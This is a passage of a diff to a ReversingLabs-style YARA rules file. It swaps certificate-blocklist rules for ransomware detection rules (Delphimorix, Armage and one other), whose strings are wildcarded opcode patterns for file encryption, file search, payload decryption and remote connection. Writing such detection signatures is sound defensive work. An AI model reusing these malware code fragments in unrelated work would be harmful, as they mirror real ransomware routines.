?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 ?? + E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B 45 + ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? + 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 + ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? + ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? + ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B + 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? + ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 + ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B + 45 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + $find_files = { + 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 33 F6 46 81 FE ?? ?? ?? ?? 0F 87 + ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 8D 57 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 07 ?? 0F 85 ?? ?? ?? ?? F6 47 ?? ?? 0F 85 ?? ?? + ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 ?? + 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 + ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 0F 85 ?? ?? ?? ?? 83 + FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? + ?? ?? 33 F6 46 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 + ?? 8D 57 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F + 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 07 ?? 0F + 84 ?? ?? ?? ?? F6 47 ?? ?? 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 75 + ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 + ?? 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 68 + ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? F7 D8 1B C0 + F7 D8 84 C0 0F 85 ?? ?? ?? ?? 83 FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B DB F7 DB 84 DB + 75 ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + $decrypt_payload_script = { + FF 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF + 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 + ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? + ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 8B C3 BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? FF 33 FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF + 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? + ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF + 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? + ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D + 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALEX & CO PTY LIMITED" and pe.signatures [ i ] . serial == "67:51:29:bb:17:4a:5b:05:e3:30:cc:09:f8:bb:d7:0a" and 1565568000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $find_files and $decrypt_payload_script and ( all of ( $remote_connection_* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_De13Fe2Dbb8F890287E1780Aff6Ffd22 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Delphimorix : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Delphimorix ransomware." author = "ReversingLabs" - id = "d2b15920-76ae-54e4-988c-278a3622ec52" - date = "2020-08-05" - modified = "2023-11-08" + id = "1f964601-9819-5597-ba6e-db3a30e3aa5a" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3488-L3504" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Delphimorix.yara#L1-L67" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ebd983bcfa1e5d54af9d9e07d80d05f4752040eab92e63cd986db789fa07026f" + logic_hash = "6d401d488d57b2d75e93a1dfd47ece687a5791d1f0a52768300f4af8a8787212" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Delphimorix" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 + 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? 8B + 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 68 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ?? + ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B C3 + 8B 10 FF 12 52 50 B9 ?? ?? ?? ?? 8B D3 8B C6 E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B + C6 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 + ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 59 59 5D C3 + } + $find_files_p1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? + ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B D9 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 + ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? + ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 + } + $find_files_p2 = { + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? + ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B + C6 83 C8 ?? 3B C6 75 ?? 80 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF 75 ?? 68 ?? ?? ?? + ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LAST TIME PTY LTD" and pe.signatures [ i ] . serial == "de:13:fe:2d:bb:8f:89:02:87:e1:78:0a:ff:6f:fd:22" and 1566259200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_Da000D18949C247D4Ddfc2585Cc8Bd0F : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Armage : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Armage ransomware." author = "ReversingLabs" - id = "3e939b73-abe4-5941-93ab-18bcde854aaf" - date = "2020-08-05" - modified = "2023-11-08" + id = "94cf639b-7d9e-51ca-b547-e0d591581df2" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3506-L3524" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Armage.yara#L1-L128" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3453f13e633a2c233f78d0389c655bb5304e567407b3e0c5c47e5e7127c345ca" + logic_hash = "aa8ddcbb0fdcad15e603e000db1d4f86eae7d42efce1c1d21dc3dd57ee9f4319" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Armage" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 89 E5 53 8D 5D ?? 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? 8D 5D + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 65 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 45 + ?? 8D 50 ?? 8D 48 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 89 50 ?? 89 + 95 ?? ?? ?? ?? 8D 50 ?? 89 50 ?? 89 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 5D ?? 83 EC ?? 89 5D ?? + 8B 41 ?? 8B 51 ?? 8D 4D ?? 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 45 ?? 8D 5D ?? 83 EC ?? 89 5C 24 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 45 ?? 8D 5D ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 89 42 ?? 8B 55 ?? 89 4C 24 ?? 89 04 24 29 CA 89 54 24 + ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 42 ?? 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 55 ?? 89 42 + ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? + 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 8D ?? + ?? ?? ?? 89 4C 24 ?? 89 85 ?? ?? ?? ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ?? + ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4C 24 ?? 89 8D ?? ?? ?? ?? 89 4C 24 ?? 8B 85 ?? ?? ?? + ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 44 24 + ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 5C 24 ?? 8B 8D ?? + ?? ?? ?? 89 4C 24 ?? 89 85 ?? ?? ?? ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ?? + ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8D 45 ?? 89 04 24 E8 + } + $encrypt_files_p2 = { + 8B 55 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? 8D 4A ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D + 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? + ?? 8B 40 ?? 8B 80 ?? ?? ?? ?? 85 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 80 78 ?? ?? 74 ?? 0F BE 40 ?? 89 04 24 B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? + 8B 45 ?? 85 C0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 5D + ?? C9 C3 90 8B 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8B 00 8B 50 ?? B8 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? 8B 8D ?? + ?? ?? ?? FF D2 83 EC ?? 0F BE C0 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C5 ?? 8B 45 ?? 89 + 85 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 + E8 ?? 74 ?? 0F 0B 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 + C0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 3B 85 ?? ?? ?? ?? 74 ?? 89 04 24 + E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 39 85 ?? ?? ?? ?? 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 + 75 ?? EB + } + $find_files_p1 = { + 55 89 E5 81 EC ?? ?? ?? ?? 8D 55 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 89 55 ?? 8D 55 ?? 89 65 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? + 8B 4D ?? 83 C0 ?? 8B 51 ?? 89 45 ?? 8D 45 ?? 89 45 ?? 8B 45 ?? 89 55 ?? 8B 00 89 C1 + 89 45 ?? 01 D1 74 ?? 85 C0 75 ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 45 ?? 83 F8 ?? 89 45 ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B + 45 ?? 8D 55 ?? 0F B6 00 88 45 ?? B8 ?? ?? ?? ?? 89 45 ?? C6 04 02 ?? B8 ?? ?? ?? ?? + 2B 45 ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? 8D 4D ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 + 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 83 EC ?? 89 81 ?? ?? ?? + ?? 8D 4D ?? 39 CA 74 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? 83 F8 + } + $find_files_p2 = { + 8B 45 ?? 0F 95 00 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? C9 C2 ?? ?? 8D 76 ?? 8D 45 ?? 8B + 4D ?? 89 4C 24 ?? 8B 4D ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? E9 + ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 55 ?? 83 EC ?? 89 45 ?? 89 55 ?? EB ?? C7 04 24 ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C5 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 85 C0 74 ?? 83 E8 + ?? 74 ?? 0F 0B 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 + 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 66 90 55 89 E5 57 56 8D 45 ?? 53 83 EC ?? + 89 45 ?? 8D 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? 89 65 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 5D ?? C6 45 ?? ?? 8B 83 ?? ?? ?? + ?? 83 F8 ?? 74 ?? 8D 53 ?? 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 EC ?? 85 C0 0F 95 45 ?? 0F B6 45 ?? 8B 75 ?? 88 06 8B 45 ?? 89 04 24 E8 ?? ?? ?? + ?? 0F B6 45 ?? 8D 65 ?? 5B 5E 5F 5D C3 + } + $enum_resources_p1 = { + 55 B8 ?? ?? ?? ?? 89 E5 E8 ?? ?? ?? ?? 29 C4 8D 45 ?? 89 8D ?? ?? ?? ?? 89 A5 ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? 8B 45 + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C9 C2 ?? ?? + 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 + 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? 8D 85 ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 75 ?? EB + ?? 8D B4 26 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? F6 40 ?? ?? 0F 85 ?? ?? ?? ?? 83 85 ?? ?? + ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 83 + } + $enum_resources_p2 = { + 8B 85 ?? ?? ?? ?? F6 40 ?? ?? 74 ?? 8B 40 ?? 89 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 85 D2 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 74 ?? 89 14 24 E8 ?? ?? ?? ?? 03 85 ?? ?? + ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B 48 ?? 3B 48 ?? 0F 84 ?? ?? ?? + ?? 85 C9 74 ?? 8D 41 ?? 8B 95 ?? ?? ?? ?? 89 01 8B 85 ?? ?? ?? ?? 01 C2 89 04 24 89 + 54 24 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B + 48 ?? 8B 85 ?? ?? ?? ?? 83 C1 ?? 89 48 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 39 C8 + 0F 84 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? F6 40 ?? 